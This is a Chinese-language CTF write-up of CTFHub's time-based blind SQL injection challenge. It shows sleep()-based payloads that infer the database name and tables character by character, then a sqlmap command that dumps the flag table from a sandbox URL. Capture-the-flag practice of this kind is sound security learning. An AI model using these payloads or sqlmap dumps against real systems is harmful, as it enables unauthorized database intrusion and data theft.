CTFHUB技能树之SQL——时间盲注

开启靶场,打开链接:

说明这关对所有信息都做了统一输出,换成延时注入试试


输入:

1 and sleep(15)

(这里不知道为什么加上--+倒是会影响sleep()函数的触发,从而没有延时感)

可以观察到有明显的延时感,确定为时间盲注


(1)爆数据库名

先判断数据库名的长度:

1 and if(length(database())=x,sleep(15),1)

(x是数值1,2,3,4,...)

1 and if(length(database())=4,sleep(15),1)

说明数据库名长度是4


接下来就是判断数据库的各个字符了:

第一个字符:

1 and if(ascii(substr(database(),1,1))>110,sleep(15),1)

1 and if(ascii(substr(database(),1,1))=x,sleep(15),1)

(x是数值1,2,3,4,...)

第二个字符:

1 and if(ascii(substr(database(),2,1))=x,sleep(15),1)

(x是数值1,2,3,4,...)

后续得出数值是(115,113,108,105),即数据库名是sqli


(2)爆表名

先判断表的数量:

1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(15),1)

又出现了延时感,说明有两个表


接下来就是判断各个表的各个字符了:

先是第一个表的第一个字符:

1 and if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='n',sleep(15),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=110,sleep(15),1)

妈的,不知道为什么这里运行失败,后续手工注入的流程直接看本分组的《Time-based基于时间的盲注》就行了,我要直接用sqlmap跟它爆了


python sqlmap.py -u "http://challenge-1f7b2258309fbd18.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

得到flag:

ctfhub{3a4d69bf9ae1fc6bbd2f7d69}

相关推荐
倔强的石头_1 天前
kingbase备份与恢复实战(二)—— sys_dump库级逻辑备份与恢复(Windows详细步骤)
数据库
jiayou642 天前
KingbaseES 实战:深度解析数据库对象访问权限管理
数据库
李广坤3 天前
MySQL 大表字段变更实践(改名 + 改类型 + 改长度)
数据库
爱可生开源社区4 天前
2026 年,优秀的 DBA 需要具备哪些素质?
数据库·人工智能·dba
随逸1775 天前
《从零搭建NestJS项目》
数据库·typescript
西岸行者5 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
加号35 天前
windows系统下mysql多源数据库同步部署
数据库·windows·mysql
シ風箏5 天前
MySQL【部署 04】Docker部署 MySQL8.0.32 版本(网盘镜像及启动命令分享)
数据库·mysql·docker
李慕婉学姐5 天前
Springboot智慧社区系统设计与开发6n99s526(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端
百锦再5 天前
Django实现接口token检测的实现方案
数据库·python·django·sqlite·flask·fastapi·pip